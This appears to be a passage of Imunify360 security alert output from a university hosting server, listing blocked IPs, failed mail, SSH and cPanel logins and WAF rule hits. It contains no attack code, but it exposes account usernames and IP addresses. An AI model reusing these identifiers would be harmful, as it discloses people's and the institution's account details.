2025-01-29 11:44:32 dovecot_plain authenticator failed for ([177.203.179.233]) [191.217.137.126]:40483: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.137
description:
Jan 29 11:43:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.170.10
description:
2025-01-29 11:44:44 dovecot_plain authenticator failed for ([218.150.170.10]) [218.150.170.10]:60712: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.200.253.225
description:
[2025-01-29 11:44:50 +0100] info [webmaild] 37.200.253.225 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.69.17.18
description:
Jan 29 11:45:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.69.17.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.168.246
description:
2025-01-29 11:45:22 dovecot_plain authenticator failed for (host103-171-169-246.renubroadband.com) [103.171.168.246]:38556: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.0.234.38
description:
Jan 29 11:44:55 ait sshd[93093]: pam_imunify(sshd:auth): [IM360_RBL] The IP 194.0.234.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.45.217.249
description:
2025-01-29 11:45:09 dovecot_plain authenticator failed for ([14.45.217.249]) [14.45.217.249]:43182: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.69.17.18
description:
2025-01-29 11:45:24 dovecot_plain authenticator failed for ([58.69.17.18]) [58.69.17.18]:59672: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 194.0.234.38
description:
Jan 29 11:44:55 ait sshd[93093]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.0.234.38  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 80.83.238.35
description:
[2025-01-29 11:45:10 +0100] info [webmaild] 80.83.238.35 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.168.246
description:
Jan 29 11:45:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.168.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:45:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.249.1.72
description:
Jan 29 11:45:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.249.1.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.249.1.72
description:
2025-01-29 11:45:34 dovecot_plain authenticator failed for ([183.249.1.72]) [183.249.1.72]:53226: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.221.99
description:
2025-01-29 11:46:17 dovecot_plain authenticator failed for ([207.219.221.99]) [207.219.221.99]:44247: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.78.238.87
description:
[2025-01-29 11:45:52 +0100] info [webmaild] 185.78.238.87 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.54.106.83
description:
Jan 29 11:46:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.54.106.83 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 11:46:09 ait sshd[94087]: Invalid user pension-buenting.de 2a01 from 122.51.104.242 port 45218


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 11:46:09 ait sshd[94087]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.130.174.76
description:
Jan 29 11:46:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.130.174.76 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 11:46:09 ait sshd[94087]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.54.106.83
description:
2025-01-29 11:46:08 dovecot_plain authenticator failed for 83.106.54.198.in-addr.arpa [198.54.106.83]:56156: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.65.61
description:
[2025-01-29 11:46:35 +0100] info [webmaild] 157.100.65.61 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
[2025-01-29 11:46:02 +0100] info [cpaneld] 212.227.201.53 - lemassne "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.130.174.76
description:
2025-01-29 11:46:08 dovecot_plain authenticator failed for host81-130-174-76.in-addr.btopenworld.com [81.130.174.76]:51488: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.219.221.99
description:
Jan 29 11:46:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.219.221.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.37
description:
2025-01-29 11:47:51 dovecot_plain authenticator failed for ([101.13.5.37]) [101.13.5.37]:54604: 535 Incorrect authentication data (set_id=als17b01551@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.186.157.140
description:
[2025-01-29 11:47:19 +0100] info [webmaild] 45.186.157.140 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.187.66
description:
2025-01-29 11:47:09 dovecot_plain authenticator failed for ([218.22.187.69]) [218.22.187.66]:60685: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.178.39.106
description:
Jan 29 11:47:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.178.39.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
description:
2025-01-29 11:47:19 dovecot_plain authenticator failed for ([220.178.39.106]) [220.178.39.106]:38404: 535 Incorrect authentication data (set_id=ads21b00202y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 11:47:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.204.162.116
description:
Jan 29 11:47:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.204.162.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.204.162.116
description:
2025-01-29 11:47:36 dovecot_plain authenticator failed for ([82.204.162.116]) [82.204.162.116]:58734: 535 Incorrect authentication data (set_id=ads21b00202y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.187.66
description:
Jan 29 11:47:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.187.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.37
description:
Jan 29 11:47:49 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 29 11:48:37 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-29 11:48:39 dovecot_plain authenticator failed for (ionslecra) [207.188.157.230]:17650: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 222.110.67.64
description:
Jan 29 11:47:52 ait sshd[94920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.110.67.64  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.115.42.62
description:
Jan 29 11:48:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.115.42.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.115.42.62
description:
2025-01-29 11:48:03 dovecot_plain authenticator failed for ([27.115.42.62]) [27.115.42.62]:38598: 535 Incorrect authentication data (set_id=als17b01551)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 11:48:04 ait sshd[94987]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.164.246.53
description:
Jan 29 11:47:56 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.164.246.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.164.246.53
description:
2025-01-29 11:47:58 dovecot_plain authenticator failed for 53.246.164.109.static.wline.lns.sme.cust.swisscom.ch (unism) [109.164.246.53]:51845: 535 Incorrect authentication data (set_id=ait.edu.gh@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 11:48:04 ait sshd[94987]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.70.34
description:
2025-01-29 11:48:55 dovecot_plain authenticator failed for ([111.50.70.34]) [111.50.70.34]:38490: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.211
description:
Jan 29 11:48:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.26.230
description:
2025-01-29 11:49:15 dovecot_plain authenticator failed for 111-70-26-230.emome-ip.hinet.net [111.70.26.230]:51833: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.253.142
description:
2025-01-29 11:49:13 dovecot_plain authenticator failed for ([122.165.253.142]) [122.165.253.142]:44272: 535 Incorrect authentication data (set_id=eng19b00213y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.85.68.71
description:
Jan 29 11:49:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.85.68.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.85.68.71
description:
2025-01-29 11:49:44 dovecot_plain authenticator failed for ([220.85.68.71]) [220.85.68.71]:26686: 535 Incorrect authentication data (set_id=eng27b00340y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.50.70.34
description:
Jan 29 11:48:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.50.70.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.46.212.27
description:
[2025-01-29 11:49:04 +0100] info [webmaild] 189.46.212.27 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.253.142
description:
Jan 29 11:49:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.253.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.26.230
description:
Jan 29 11:49:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.26.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 8.219.202.52
domain: 136.243.145.84:443
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:6.65||T:APACHE||SC:/home/aitopen/public_html/hello.world


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 8.219.202.52
domain: 136.243.145.84:443
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:11-48.8.219.202.52||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.211
description:
2025-01-29 11:48:59 dovecot_plain authenticator failed for (m121-202-153-211.smartone.com) [121.202.153.211]:15224: 535 Incorrect authentication data (set_id=eng19b00213y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.90.111
description:
[2025-01-29 11:49:12 +0100] info [webmaild] 84.54.90.111 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.76.168.194
description:
Jan 29 11:50:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.76.168.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.76.168.194
description:
2025-01-29 11:50:36 dovecot_plain authenticator failed for ([65.76.168.194]) [65.76.168.194]:35090: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.245.220.161
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:11-50.157.245.220.161


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 173.212.208.138
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:11-50.173.212.208.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.44.5.135
description:
Jan 29 11:49:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.44.5.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.44.5.135
description:
2025-01-29 11:49:59 dovecot_plain authenticator failed for ([46.44.5.135]) [46.44.5.135]:55494: 535 Incorrect authentication data (set_id=eng27b00340y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 171.244.129.243
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:11-51.171.244.129.243


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.165.148.166
description:
2025-01-29 11:51:21 dovecot_plain authenticator failed for (148166.telemar.net.br) [200.165.148.166]:42832: 535 Incorrect authentication data (set_id=sates1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.91.176.138
description:
2025-01-29 11:51:40 dovecot_plain authenticator failed for ([118.91.176.138]) [118.91.176.138]:43400: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.172.72
description:
Jan 29 11:51:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.172.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.165.148.166
description:
Jan 29 11:51:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.165.148.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.91.176.138
description:
Jan 29 11:51:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.91.176.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.170.76
description:
Jan 29 11:50:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.170.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.170.76
description:
2025-01-29 11:50:55 dovecot_plain authenticator failed for ([218.149.170.76]) [218.149.170.76]:38604: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 29 11:51:01 ait sshd[96592]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 29 11:51:01 ait sshd[96592]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.172.72
description:
2025-01-29 11:51:50 dovecot_plain authenticator failed for (223-197-172-72.static.imsbiz.com) [223.197.172.72]:57208: 535 Incorrect authentication data (set_id=sates1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.54.85.220
description:
2025-01-29 11:52:43 dovecot_plain authenticator failed for (2-54-85-220.orange.net.il) [2.54.85.220]:40999: 535 Incorrect authentication data (set_id=rnunator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
description:
Jan 29 11:51:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.228.183.178
description:
Jan 29 11:52:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.228.183.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.228.183.178
description:
2025-01-29 11:52:12 dovecot_plain authenticator failed for broadband-5-228-183-178.ip.moscow.rt.ru [5.228.183.178]:60781: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.181
description:
2025-01-29 11:52:28 dovecot_plain authenticator failed for ([203.193.168.181]) [203.193.168.181]:33200: 535 Incorrect authentication data (set_id=rnunator@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.33.171.65
description:
2025-01-29 11:52:46 dovecot_plain authenticator failed for sagitario.itmorelia.edu.mx [200.33.171.65]:24812: 535 Incorrect authentication data (set_id=eng20a00022y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
description:
2025-01-29 11:51:59 dovecot_plain authenticator failed for c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:50364: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
description:
Jan 29 11:52:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.31.198
description:
2025-01-29 11:52:14 dovecot_plain authenticator failed for ([60.166.31.198]) [60.166.31.198]:32774: 535 Incorrect authentication data (set_id=eng20a00047y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.82.12.128
description:
Jan 29 11:52:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.82.12.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.193.168.181
description:
Jan 29 11:52:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.193.168.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.54.85.220
description:
Jan 29 11:52:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.54.85.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.33.171.65
description:
Jan 29 11:52:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.33.171.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.135.181.141
description:
[2025-01-29 11:52:14 +0100] info [webmaild] 185.135.181.141 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.82.12.128
description:
2025-01-29 11:52:21 dovecot_plain authenticator failed for ([50.82.12.128]) [50.82.12.128]:57352: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.248.243.64
description:
Jan 29 11:52:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.248.243.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.248.243.64
description:
2025-01-29 11:52:24 dovecot_plain authenticator failed for ([87.248.243.64]) [87.248.243.64]:57858: 535 Incorrect authentication data (set_id=eng20a00047y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.196.141
description:
2025-01-29 11:53:35 dovecot_plain authenticator failed for ([120.238.196.141]) [120.238.196.141]:46855: 535 Incorrect authentication data (set_id=ads21a00069y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.55.135.92
description:
[2025-01-29 11:53:51 +0100] info [webmaild] 177.55.135.92 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.229.1.186
description:
Jan 29 11:53:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.229.1.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.187.66
description:
Jan 29 11:53:33 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.187.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.199.147
description:
Jan 29 11:53:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.199.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.238.196.141
description:
Jan 29 11:53:33 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.238.196.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.245.145.254
description:
Jan 29 11:53:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.245.145.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.245.145.254
description:
2025-01-29 11:53:46 dovecot_plain authenticator failed for ([157.245.145.254]) [157.245.145.254]:60144: 535 Incorrect authentication data (set_id=dgyan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.47.171.190
description:
[2025-01-29 11:53:03 +0100] info [webmaild] 178.47.171.190 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-53.80.76.51.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.187.66
description:
2025-01-29 11:53:35 dovecot_plain authenticator failed for ([218.22.187.68]) [218.22.187.66]:43343: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
description:
2025-01-29 11:53:09 dovecot_plain authenticator failed for c-71-229-1-186.hsd1.al.comcast.net [71.229.1.186]:39880: 535 Incorrect authentication data (set_id=eng20a00022y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.83.151.181
description:
[2025-01-29 11:53:16 +0100] info [webmaild] 177.83.151.181 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.199.147
description:
2025-01-29 11:53:34 dovecot_plain authenticator failed for (m121-202-199-147.smartone.com) [121.202.199.147]:38242: 535 Incorrect authentication data (set_id=dgyan@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 11:54:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.32.253.235
description:
Jan 29 11:53:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.32.253.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:53:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.253.235
description:
2025-01-29 11:54:00 dovecot_plain authenticator failed for ([213.32.253.235]) [213.32.253.235]:34036: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 11:54:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.37.148.51
description:
[2025-01-29 11:55:06 +0100] info [webmaild] 177.37.148.51 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 11:55:41 ait sshd[99353]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 11:55:41 ait sshd[99353]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:54:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
